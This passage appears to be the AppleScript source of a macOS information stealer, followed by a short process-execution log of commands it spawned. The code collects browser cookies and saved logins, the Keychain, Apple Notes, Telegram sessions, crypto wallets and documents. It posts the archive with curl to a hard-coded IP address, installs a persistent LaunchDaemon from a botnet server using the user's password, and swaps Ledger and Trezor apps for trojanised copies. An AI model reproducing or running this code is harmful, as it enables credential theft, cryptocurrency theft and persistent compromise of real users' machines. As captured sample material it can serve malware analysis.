\"cmoakldedjfnjofgbbfenefcagmedlga\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"kbdcddcmgoplfockflacnnefaehaiocb\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"fdchdcpieegfofnofhgdombfckhbcokj\", \"gjlmehlldlphhljhpnlddaodbjjcchai\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"ojbcfhjmpigfobfclfflafhblgemeidi\", \"ghlmndacnhlaekppcllcpcjjjomjkjpg\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"pdliaogehgdbhbnmkklieghmmjkpigpa\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"jfdlamikmbghhapbgfoogdffldioobgl\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"cflgahhmjlmnjbikhakapcfkpbcmllam\", \"keenhcnmdmjjhincpilijphpiohdppno\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"bcenedbpaaegpnijoadpdjiachahncdg\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"dngmlblcodfobpdpecaadgfbcggfjfnm\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"agoakfejjabomempkjlepdflaleeobhb\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"iglbgmakmggfkoidiagnhknlndljlolb\", \"opfgelmcmbiajamepnmloijbpoleiama\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"gafhhkghbfjjkeiendhlofajokpaflmk\", \"imlcamfeniaidioeflifonfjeeppblda\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"dldjpboieedgcmpkchcjcbijingjcgok\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"lccbohhgfkdikahanoclbdmaolidjdfl\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"gjagmgiddbbciopjhllkdnddhcglnemk\", \"cnncmdhjacpkmjmkcafchppbnpnhdmon\", \"mfgccjchihfkkindfppnaooecgfneiii\", \"ieldiilncjhfkalnemgjbffmpomcaigi\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bgpipimickeadkjlklgciifhnalhdjhe\", \"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"aeachknmefphepccionboohckonoeemg\", \"gdokollfhmnbfckbobkdbakhilldkhcj\", \"jiiigigdinhhgjflhljdkcelcjfmplnd\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"fcckkdbjnoikooededlapcalpionmalo\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"cihmoadaighcejopammfbmddcmdekcje\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"kilnpioakcdndlodeeceffgjdpojajlo\", \"abogmiocnneedmmepnohnhlijcjpcifd\", \"bofddndhbegljegmpmnlbhcejofmjgbn\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"lfmmjkfllhmfmkcobchabopkcefjkoip\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"anokgmphncpekkhclmingpimjmcooifb\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"akkmagafhjjjjclaejjomkeccmjhdkpa\", \"ehgjhhccekdedpbkifaojjaefeohnoea\", \"mkpegjkblkkefacfnmkajcjmabijhclg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"jnmbobjmhlngoefaiojfljckilhhlhcj\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kppfdiipphfccemcignhifpjkapfbihd\", \"hcjhpkgbmechpabifbggldplacolbkoh\", \"flpiciilemghbmfalicajoolhkkenfel\", \"mlbnicldlpdimbjdcncnklfempedeipj\", \"cfbfdhimifdmdehjmkdobpcjfefblkjm\", \"ocjobpilfplciaddcbafabcegbilnbnb\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"lpilbniiabackdjcionkobglmddfbcjo\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"bocpokimicclpaiekenaeelehdjllofo\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"aflkmfhebedbjioipglgcbcmnbpgliof\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"lmkncnlpeipongihbffpljgehamdebgi\", \"gjnckgkfmgmibbkoficdidcljeaaaheg\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"nknhiehlklippafakaeklbeglecifhad\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"phkbamefinggmakgklpkljjmgibohnba\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"jblndlipeogpafnldhgmapagcccfchpi\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"dpcklmdombjcplafheapiblogdlgjjlb\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kennjipeijpeengjlogfdjkiiadhbmjl\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"heamnjbnflcikcggoiplibfommfbkjpj\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"nhlnehondigmgckngjomcpcefcdplmgc\", \"fiikommddbeccaoicoejoniammnalkfa\", \"ejbidfepgijlcgahbmbckmnaljagjoll\", \"glmhbknppefdmpemdmjnjlinpbclokhn\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"hpclkefagolihohboafpheddmmgdffjm\", \"ilolmnhjbbggkmopnemiphomhaojndmb\", \"panpgppehdchfphcigocleabcmcgfoca\", \"nngceckbapebfimnlniiiahkandclblb\", \"hdokiejnpimakedhajhdlcegeplioahd\", \"eiaeiblijfjekdanodkjadfinkhbfgcd\", \"bfogiafebfohielmmehodmfbbebbbpei\", \"pnlccmojcmeohlpggmfnbbiapkmbliob\", \"aeblfdkhhhdcdjpifhhbdiojplfjncoa\", \"kmcfomidfpdkfieipokbalgegidffkal\", \"fdjamakpfbbddfjaooikfcpapjohcfmg\", \"ghmbeldphafepmbegfdlkpapadhbakde\", \"cnlhokffphohmfcddnibpohmkdfafdli\", \"khhapgacijodhjokkcjmleaempmchlem\", \"admmjipmmciaobhojoghlmleefbicajg\", \"caljgklbbfbcjjanaijlacgncafpegll\", \"bdgmdoedahdcjmpmifafdhnffjinddgc\", \"bhghoamapcdpbohphigoooaddinpkbai\", \"iklgijhacenjgjgdnpnohbafpbmnccek\", \"bbphmbmmpomfelajledgdkgclfekilei\", \"npjilhodcgmigpladpfkkclbmkebalfd\", \"gmegpkknicehidppoebnmbhndjigpica\", \"ibpjepoimpcdofeoalokgpjafnjonkpc\", \"gmohoglkppnemohbcgjakmgengkeaphi\", \"pdiccmolmknojplidnlkaenkejbminpp\", \"dbfoemgnkgieejfkaddieamagdfepnff\", \"mmhlniccooihdimnnjhamobppdhaolme\", \"lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\", \"deelhmmhejpicaaelihagchjjafjapjc\", \"hldllnfgjbablcfcdcjldbbfopmohnda\", \"igkpcodhieompeloncfnbekccinhapdb\", \"ajgehecfkfhindkhdcjmifbngkfdflla\", \"kghbmcgihmefcbjlfiafjcigdcbmecbf\", \"gejiddohjgogedgjnonbofjigllpkmbf\", \"didegimhafipceonhjepacocaffmoppf\", \"bnfdmghkeppfadphbnkjcicejfepnbfe\", \"gcmahhkjkpigcpfpmdjnbiakmbdegfeh\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"} repeat with chromiumBrowser in chromium_map set savePath to writemind & \"chromium/\" & item 1 of chromiumBrowser & \"_\" try set fileList to list folder item 2 of chromiumBrowser without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromiumBrowser & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath, savePath & currentItem, pluginList, false) else if (CFile as string) is equal to \"/IndexedDB/\" then grabPlugins(readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on gecko(writemind, geckoMap) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} repeat with geckoBrowser in geckoMap try set browserName to item 1 of geckoBrowser set browserPath to item 2 of geckoBrowser set fileList to list folder browserPath without invisibles repeat with currentItem in fileList set fpath to writemind & \"gecko/\" & browserName & \"_\" & currentItem set readpath to browserPath & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end repeat end try end gecko on filegrabber(writemind) try set destFolder to writemind & \"finder/\" set destinationFolderPath to POSIX file destFolder set notesMediaFolder to POSIX file (destFolder & \"NotesMedia/\") set extensionsList to {\"txt\", \"pdf\", \"docx\", \"wallet\", \"key\", \"keys\", \"doc\", \"jpeg\", \"png\", \"kdbx\", \"rtf\", \"jpg\", \"seed\"} set bankSize to 0 set notesBankSize to 0 set uuidString to do shell script \"system_profiler SPHardwareDataType | awk \\\"/UUID/ { print \$3 }\\\"\" mkdir(destinationFolderPath) mkdir(notesMediaFolder) tell application \"Finder\" try set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\" duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing set name of result to \"saf1\" end try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {\"NoteStore.sqlite\", \"NoteStore.sqlite-shm\", \"NoteStore.sqlite-wal\"} repeat with aFile in notesFiles try duplicate (file aFile of notesFolder) to folder destinationFolderPath with replacing end try end repeat end try set notesAccountsPath to (notesFolderPath & \"Accounts:\") try set notesAccountsFolder to folder notesAccountsPath set notesAccountsFiles to every folder of notesAccountsFolder repeat with nFile in notesAccountsFiles set notesMediaPath to notesAccountsPath & name of nFile & \":Media:\" set notesMediaAllProfiles to every folder of (folder notesMediaPath) repeat with profileFolder in notesMediaAllProfiles set notesMediaProfilesPath to notesMediaPath & name of profileFolder set notesMediaProfileFiles to every folder of (folder notesMediaProfilesPath) repeat with notesUUID in notesMediaProfileFiles set noteIdFiles to every file of notesUUID repeat with notesIdFile in noteIdFiles try set fileSize to size of notesIdFile as text set notesBankSize to notesBankSize + fileSize if notesBankSize < 12 * 1024 * 1024 then duplicate notesIdFile to notesMediaFolder with replacing else exit repeat end if end try end repeat end repeat end repeat end repeat end try try set safariFolderPath to (path to library folder from user domain as text) & \"Safari:\" duplicate (file \"Form Values\" of folder safariFolderPath) to destinationFolderPath with replacing end try try set keychainFolder to (path to library folder from user domain as text) & \"Keychains:\" & uuidString duplicate folder keychainFolder to destinationFolderPath with replacing end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on notes(writemind) try set realoutput to \"\" set total_length to 0 tell application \"Notes\" set outputList to {} set allAccounts to every account repeat with anAccount in allAccounts try set noteProperties to properties of every note in anAccount set total_length to total_length + (length of noteProperties) repeat with aNote in noteProperties try set noteLine to (creation date of aNote) & return & (body of aNote) copy noteLine to end of outputList end try end repeat end try end repeat set realoutput to outputList as text end tell if total_length > 0 then set realoutput to \"<h1>Notes Count: \" & (total_length as text) & \"</h1> <br><br><br> \" & realoutput writeText(realoutput, writemind & \"finder/notes.html\") end if end try end notes on telegram(writemind, library) try set tgPath to library & \"Telegram Desktop/tdata/\" set tgSavePath to writemind & \"tg/\" readwrite(tgPath & \"key_datas\", tgSavePath & \"key_datas\") set tgFiles to list folder tgPath without invisibles set needFiles to {} repeat with tgFile in tgFiles set checkName to tgFile & \"s\" if checkName is in tgFiles then copy tgFile to end of needFiles end if end repeat repeat with needFile in needFiles readwrite(tgPath & needFile & \"s\", tgSavePath & needFile & \"s\") readwrite(tgPath & needFile & \"/maps\", tgSavePath & needFile & \"/maps\") end repeat end try end telegram on telegramV2(writemind, libraryRaw) try set tgPath to libraryRaw & \"Group Containers/6N38VWS5BX.ru.keepcoder.Telegram/stable/\" set tgSavePath to writemind & \"tgmac/stable/\" set tgFiles to list folder tgPath without invisibles repeat with tgFile in tgFiles if isDir(tgPath & tgFile) and tgFile contains \"account\" then GrabFolder(tgPath & tgFile, tgSavePath & tgFile) end if end repeat readwrite(tgPath & \".tempkeyEncrypted\", tgSavePath & \".tempkeyEncrypted\") end try end telegramV2 on botnet_init(macUsername, pwd, bothandlerAddr) try set plistAutoStart to (do shell script \"curl -s \" & bothandlerAddr & \"/api/v1/getscpt/\" & macUsername) writeText(plistAutoStart, \"/tmp/starter\") do shell script \"echo \" & quoted form of pwd & \" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.xdivcmp.plist\" try do shell script \"echo \" & quoted form of pwd & \" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.xdivcmp.plist\" on error do shell script \"nohup \" & mybotnet & \" >/dev/null 2>&1 &\" end try end try end botnet_init on swapApp(password_entered, serverIP, appName, serverFileName) try set appPath to \"/Applications/\" & appName & \".app\" set tmpFilePath to \"/tmp/\" & serverFileName set filePathURL to serverIP & \"/web/\" & serverFileName list folder POSIX file appPath do shell script \"curl \" & quoted form of filePathURL & \" -o \" & quoted form of tmpFilePath try do shell script \"pkill \" & quoted form of appName end try if password_entered is not equal to \"\" then do shell script \"echo \" & quoted form of password_entered & \" | sudo -S rm -rf \" & quoted form of appPath else do shell script \"rm -rf \" & quoted form of appPath end if delay 1 do shell script \"ditto -x -k \" & quoted form of tmpFilePath & \" /Applications\" end try end swapApp on send_data(attempt, outUsername, serverIP) try set result_send to (do shell script \"curl -X POST -H \\\"buildid: a1e5c09d66b641d8b680f31dca962845\\\" -H \\\"username: \" & outUsername & \"\\\" --data-binary @/tmp/xdivcmp.zip \" & serverIP & \"/log\") on error if attempt < 10 then delay 60 send_data(attempt + 1, outUsername, serverIP) end if end try end send_data set outUsername to \"xxx\" set serverIP to \"http://172.94.9.250\" set macUsername to (system attribute \"USER\") set writemind to \"/tmp/xdivcmp/\" set homePath to \"/Users/\" & macUsername & \"/\" set libraryRaw to homePath & \"Library/\" set library to libraryRaw & \"Application Support/\" set appsTxt to \"\" set majorVersion to 0 set minorVersion to 0 try set apps to list folder \"/Applications\" repeat with appName in apps set appsTxt to appsTxt & appName & return end repeat writeText(appsTxt, writemind & \"installedSoft\") set macOSVers to (do shell script \"sw_vers -productVersion\") set {tid, text item delimiters} to {text item delimiters, \".\"} set majorVersion to text item 1 of macOSVers as integer set minorVersion to text item 2 of macOSVers as integer set text item delimiters to tid end try set masterpassGot to false if appsTxt contains \"Google Chrome.app\" then if majorVersion is equal to 26 and minorVersion > 3 then set masterpassGot to true chromemasterpass(writemind) end if if majorVersion > 26 then set masterpassGot to true chromemasterpass(writemind) end if end if set passwordEntered to readfile(homePath & \".pwd\") if not masterpassGot then if not checkvalid(macUsername, passwordEntered) then set passwordEntered to getpwd(macUsername, writemind, appsTxt) end if delay 0.01 end if try filegrabber(writemind) if readfile(writemind & \"finder/NoteStore.sqlite\") is equal to \"\" then notes(writemind) end if telegram(writemind, library) telegramV2(writemind, libraryRaw) end try set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary/\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}, {\"Arc\", library & \"Arc/User Data/\"}, {\"CocCoc\", library & \"CocCoc/Browser/\"}} set walletMap to {{\"Electrum\", homePath & \".electrum/wallets/\"}, {\"Coinomi\", library & \"Coinomi/wallets/\"}, {\"Exodus\", library & \"Exodus/\"}, {\"Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"Wasabi\", homePath & \".walletwasabi/client/Wallets/\"}, {\"Ledger_Live\", library & \"Ledger Live/\"}, {\"Monero\", homePath & \"Monero/wallets/\"}, {\"Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"Dash_Core\", library & \"DashCore/wallets/\"}, {\"Electrum_LTC\", homePath & \".electrum-ltc/wallets/\"}, {\"Electron_Cash\", homePath & \".electron-cash/wallets/\"}, {\"Guarda\", library & \"Guarda/\"}, {\"Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"Trezor_Suite\", library & \"@trezor/suite-desktop/\"}, {\"Sparrow\", homePath & \".sparrow/wallets/\"}} set geckoMap to {{\"Firefox\", library & \"Firefox/Profiles/\"}, {\"Waterfox\", library & \"Waterfox/Profiles/\"}} readwrite(libraryRaw & \"Keychains/login.keychain-db\", writemind & \"kc\") writeText(passwordEntered, writemind & \"pwd\") writeText(macUsername, writemind & \"user\") try set result_userinfo to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result_userinfo, writemind & \"hardware\") end try repeat with deskWallet in walletMap GrabFolder(item 2 of deskWallet, writemind & \"deskwallets/\" & item 1 of deskWallet) end repeat chromium(writemind, chromiumMap) gecko(writemind, geckoMap) do shell script \"ditto -c -k --sequesterRsrc /tmp/xdivcmp /tmp/xdivcmp.zip\" send_data(0, outUsername, serverIP) do shell script \"rm -rf /tmp/xdivcmp\" do shell script \"rm -f /tmp/xdivcmp.zip\" try set bothandlerAddr to \"http://192.253.248.181\" if bothandlerAddr is not equal to \"false\" then if readfile(homePath & \".botid\") is equal to \"\" then if passwordEntered is not equal to \"\" then writeText(passwordEntered, homePath & \".pwd\") writeText(serverIP, homePath & \".phost\") writeText(bothandlerAddr, homePath & \".bhost\") writeText(outUsername, homePath & \".username\") botnet_init(macUsername, passwordEntered, bothandlerAddr) end if end if end if swapApp(passwordEntered, bothandlerAddr, \"Ledger Live\", \"ledger.zip\") swapApp(passwordEntered, bothandlerAddr, \"Ledger Wallet\", \"ledgerwallet.zip\") swapApp(passwordEntered, bothandlerAddr, \"Trezor Suite\", \"trezor.zip\") end try --\$ERROR\$"

sh -c "mkdir -p '/tmp/xdivcmp'"

sh -c "mkdir -p '/tmp/xdivcmp'"

mkdir -p /tmp/xdivcmp

sh -c "sw_vers -productVersion"

sh -c "sw_vers -productVersion"

sw_vers -productVersion

sh -c "dscl . authonly 'root' ''"

sh -c "dscl . authonly 'root' ''"

dscl . authonly root

sh -c "dscl . authonly 'root' ''"

sh -c "dscl . authonly 'root' ''"

dscl . authonly root

xpcproxy com.apple.ViewBridgeAuxiliary

/usr/sbin/kextcache -F -system-prelinked-kernel

/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary

/usr/bin/bzip2 -f /var/log/wifi.log.0